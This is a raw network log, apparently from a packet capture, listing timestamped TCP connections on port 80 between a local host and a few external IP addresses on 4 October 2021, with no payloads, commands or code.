Oct 4, 2021 16:03:33.634104967 CEST	80	50138	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.673099041 CEST	80	50138	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.689184904 CEST	80	50139	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:33.689508915 CEST	50139	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:33.689743042 CEST	50139	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:33.689831018 CEST	50139	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:33.879987001 CEST	80	50139	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:33.919552088 CEST	80	50139	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:33.981453896 CEST	80	50138	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.981496096 CEST	80	50138	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.981648922 CEST	50138	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:34.213582993 CEST	50140	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:34.331392050 CEST	80	50140	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:34.331516027 CEST	50140	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:34.331793070 CEST	50140	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:34.331914902 CEST	50140	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:34.416146994 CEST	80	50139	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:34.416171074 CEST	80	50139	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:34.416368008 CEST	50139	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:34.450419903 CEST	80	50140	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:34.490169048 CEST	80	50140	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:34.643749952 CEST	50141	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:34.740456104 CEST	80	50141	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:34.740592003 CEST	50141	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:34.740784883 CEST	50141	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:34.740839958 CEST	50141	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:34.837296009 CEST	80	50141	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:34.837318897 CEST	80	50141	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:34.837990046 CEST	50141	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:34.907670021 CEST	80	50140	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:34.908169031 CEST	80	50140	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:34.908247948 CEST	50140	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.105196953 CEST	50142	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:35.129354954 CEST	50143	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.246565104 CEST	80	50142	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:35.246701956 CEST	50142	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:35.247159958 CEST	50142	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:35.247179985 CEST	50142	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:35.289422989 CEST	80	50143	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.289606094 CEST	50143	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.290021896 CEST	50143	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.290040970 CEST	50143	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.390863895 CEST	80	50142	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:35.428159952 CEST	80	50142	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:35.450618982 CEST	80	50143	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.484635115 CEST	80	50142	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:35.484661102 CEST	80	50142	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:35.485471964 CEST	50142	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:35.490233898 CEST	80	50143	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.784359932 CEST	80	50143	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.784393072 CEST	80	50143	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.784610987 CEST	50143	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.804367065 CEST	50144	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.964507103 CEST	80	50144	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:35.964740992 CEST	50144	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.964930058 CEST	50144	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:35.964989901 CEST	50144	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.002919912 CEST	50145	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.119545937 CEST	80	50145	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.119744062 CEST	50145	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.120049953 CEST	50145	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.120160103 CEST	50145	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.124506950 CEST	80	50144	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.163331032 CEST	80	50144	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.235266924 CEST	80	50145	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.273658037 CEST	80	50145	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.489897966 CEST	80	50144	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.490051985 CEST	80	50144	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.490272999 CEST	50144	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.612437963 CEST	80	50145	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.612612963 CEST	80	50145	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.612785101 CEST	50145	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.756248951 CEST	50146	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.845068932 CEST	50147	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.874656916 CEST	80	50146	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:36.874804020 CEST	50146	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.875025034 CEST	50146	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.875133991 CEST	50146	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:36.992584944 CEST	80	50146	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.002302885 CEST	80	50147	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.002449036 CEST	50147	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.002778053 CEST	50147	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.002901077 CEST	50147	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.032661915 CEST	80	50146	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.159986973 CEST	80	50147	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.199204922 CEST	80	50147	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.500902891 CEST	80	50147	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.500932932 CEST	80	50147	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.501082897 CEST	50147	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.730989933 CEST	50148	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.846956968 CEST	80	50148	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:37.847181082 CEST	50148	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.847362995 CEST	50148	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.847460032 CEST	50148	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:37.963723898 CEST	80	50148	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.002135038 CEST	80	50148	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.300491095 CEST	80	50148	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.300513029 CEST	80	50148	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.300605059 CEST	50148	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:38.558772087 CEST	50150	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:38.678530931 CEST	80	50150	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.678937912 CEST	50150	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:38.679195881 CEST	50150	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:38.679203987 CEST	50150	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:38.798522949 CEST	80	50150	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:38.836538076 CEST	80	50150	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:39.209693909 CEST	80	50150	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:39.209723949 CEST	80	50150	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:39.209800005 CEST	50150	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:39.512567043 CEST	50151	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:39.631309032 CEST	80	50151	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:39.631458998 CEST	50151	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:39.631802082 CEST	50151	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:39.631933928 CEST	50151	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:39.746514082 CEST	80	50151	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:39.785656929 CEST	80	50151	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.068640947 CEST	80	50151	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.068680048 CEST	80	50151	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.068871021 CEST	50151	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:40.305001020 CEST	50152	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:40.462477922 CEST	80	50152	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.462632895 CEST	50152	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:40.462816954 CEST	50152	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:40.462852955 CEST	50152	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:40.619714975 CEST	80	50152	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.659090996 CEST	80	50152	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.984357119 CEST	80	50152	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.984388113 CEST	80	50152	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:40.984500885 CEST	50152	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:41.211147070 CEST	50153	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:41.369249105 CEST	80	50153	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:41.369400024 CEST	50153	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:41.369586945 CEST	50153	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:41.369658947 CEST	50153	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:41.527787924 CEST	80	50153	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:41.567229986 CEST	80	50153	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:41.898406029 CEST	80	50153	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:41.898538113 CEST	80	50153	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:41.898819923 CEST	50153	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.124063015 CEST	80	50146	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.124207973 CEST	80	50146	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.124306917 CEST	50146	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.161866903 CEST	50154	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.318209887 CEST	80	50154	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.318314075 CEST	50154	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.318475962 CEST	50154	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.318530083 CEST	50154	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.380825996 CEST	50155	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.474435091 CEST	80	50154	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.514259100 CEST	80	50154	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.536968946 CEST	80	50155	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.537152052 CEST	50155	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.537494898 CEST	50155	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.537668943 CEST	50155	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:42.693763971 CEST	80	50155	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.734380007 CEST	80	50155	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.809406042 CEST	80	50154	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.809457064 CEST	80	50154	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:42.809643030 CEST	50154	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.034735918 CEST	80	50155	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.034898996 CEST	80	50155	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.035046101 CEST	50155	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.050247908 CEST	50156	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.209634066 CEST	80	50156	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.209901094 CEST	50156	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.210180998 CEST	50156	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.210259914 CEST	50156	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.374933958 CEST	80	50156	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.401043892 CEST	50157	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.414937973 CEST	80	50156	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.559014082 CEST	80	50157	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.559243917 CEST	50157	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.559475899 CEST	50157	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.559572935 CEST	50157	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:43.719011068 CEST	80	50157	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:43.757987022 CEST	80	50157	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.062783957 CEST	80	50157	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.062824011 CEST	80	50157	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.062975883 CEST	50157	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:44.326564074 CEST	50158	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:44.441138983 CEST	80	50158	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.441344023 CEST	50158	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:44.441545010 CEST	50158	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:44.441622972 CEST	50158	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:44.556926966 CEST	80	50158	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.596677065 CEST	80	50158	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.929791927 CEST	80	50158	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.930124044 CEST	80	50158	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:44.930469036 CEST	50158	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:45.227024078 CEST	50159	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:45.344507933 CEST	80	50159	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:45.344641924 CEST	50159	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:45.345016003 CEST	50159	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:45.345127106 CEST	50159	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:45.462543964 CEST	80	50159	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:45.502665043 CEST	80	50159	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:45.831290960 CEST	80	50159	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:45.831348896 CEST	80	50159	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:45.831511974 CEST	50159	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.038249016 CEST	50160	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.194582939 CEST	80	50160	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:46.194885015 CEST	50160	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.195215940 CEST	50160	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.195274115 CEST	50160	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.351175070 CEST	80	50160	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:46.392457008 CEST	80	50160	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:46.679500103 CEST	80	50160	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:46.680449963 CEST	80	50160	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:46.680677891 CEST	50160	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:46.977060080 CEST	50161	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.091567039 CEST	80	50161	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.091778994 CEST	50161	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.092008114 CEST	50161	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.092087030 CEST	50161	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.206482887 CEST	80	50161	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.246622086 CEST	80	50161	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.531234026 CEST	80	50161	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.531440020 CEST	80	50161	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.531625032 CEST	50161	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.836523056 CEST	50162	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.992634058 CEST	80	50162	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:47.992870092 CEST	50162	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.993175983 CEST	50162	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:47.993258953 CEST	50162	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:48.149337053 CEST	80	50162	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.190808058 CEST	80	50162	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.496822119 CEST	80	50162	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.497322083 CEST	80	50162	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.497507095 CEST	50162	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:48.706465006 CEST	80	50156	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.706607103 CEST	80	50156	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:48.706707954 CEST	50156	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:48.838375092 CEST	50163	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:48.998271942 CEST	80	50163	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.001552105 CEST	50163	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.383407116 CEST	50163	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.383480072 CEST	50163	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.463887930 CEST	50164	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.540937901 CEST	80	50163	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.573223114 CEST	80	50163	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.687803984 CEST	80	50164	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.690947056 CEST	50164	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.691051006 CEST	50164	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.691109896 CEST	50164	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:49.850227118 CEST	80	50164	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.890222073 CEST	80	50164	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.905150890 CEST	80	50163	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.905415058 CEST	80	50163	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:49.905508041 CEST	50163	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:50.180586100 CEST	80	50164	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:50.180752993 CEST	80	50164	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:50.180916071 CEST	50164	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.602615118 CEST	50165	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.605436087 CEST	50166	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.723866940 CEST	80	50166	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:51.724101067 CEST	50166	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.724762917 CEST	50166	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.725245953 CEST	50166	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.759869099 CEST	80	50165	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:51.759999990 CEST	50165	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.760195017 CEST	50165	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.760267019 CEST	50165	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:51.842360020 CEST	80	50166	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:51.882847071 CEST	80	50166	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:51.916093111 CEST	80	50165	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:51.956190109 CEST	80	50165	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.173948050 CEST	80	50166	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.174081087 CEST	80	50166	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.174197912 CEST	50166	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.275310993 CEST	80	50165	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.275521040 CEST	80	50165	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.275594950 CEST	50165	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.418680906 CEST	50167	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.578249931 CEST	80	50167	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.578401089 CEST	50167	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.578627110 CEST	50167	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.578728914 CEST	50167	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.593233109 CEST	50168	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.710803986 CEST	80	50168	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.711153984 CEST	50168	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.711915970 CEST	50168	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.712325096 CEST	50168	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:52.738008976 CEST	80	50167	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.777219057 CEST	80	50167	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.837385893 CEST	80	50168	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:52.869940042 CEST	80	50168	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.083699942 CEST	80	50167	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.083857059 CEST	80	50167	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.083918095 CEST	50167	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.204485893 CEST	80	50168	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.204662085 CEST	80	50168	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.204724073 CEST	50168	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.303349018 CEST	50169	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.437628984 CEST	50170	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.462825060 CEST	80	50169	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.462977886 CEST	50169	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.463207006 CEST	50169	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.463291883 CEST	50169	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.596947908 CEST	80	50170	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.597059011 CEST	50170	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.597636938 CEST	50170	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.597651958 CEST	50170	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:53.627320051 CEST	80	50169	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.662681103 CEST	80	50169	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.761771917 CEST	80	50170	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.801184893 CEST	80	50170	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.964065075 CEST	80	50169	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.964201927 CEST	80	50169	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:53.964390039 CEST	50169	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.139269114 CEST	80	50170	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.139318943 CEST	80	50170	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.139516115 CEST	50170	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.215109110 CEST	50171	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.356151104 CEST	50172	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.375929117 CEST	80	50171	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.376163960 CEST	50171	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.376425028 CEST	50171	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.376523972 CEST	50171	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.484093904 CEST	80	50172	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.486180067 CEST	50172	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.486320972 CEST	50172	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.486598969 CEST	50172	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.535888910 CEST	80	50171	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.576013088 CEST	80	50171	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.606117964 CEST	80	50172	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.645354986 CEST	80	50172	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.865690947 CEST	80	50171	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.865833998 CEST	80	50171	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.866050959 CEST	50171	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:54.940813065 CEST	80	50172	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.940850973 CEST	80	50172	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:54.941025972 CEST	50172	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:55.099785089 CEST	50173	80	192.168.2.3	198.38.82.168
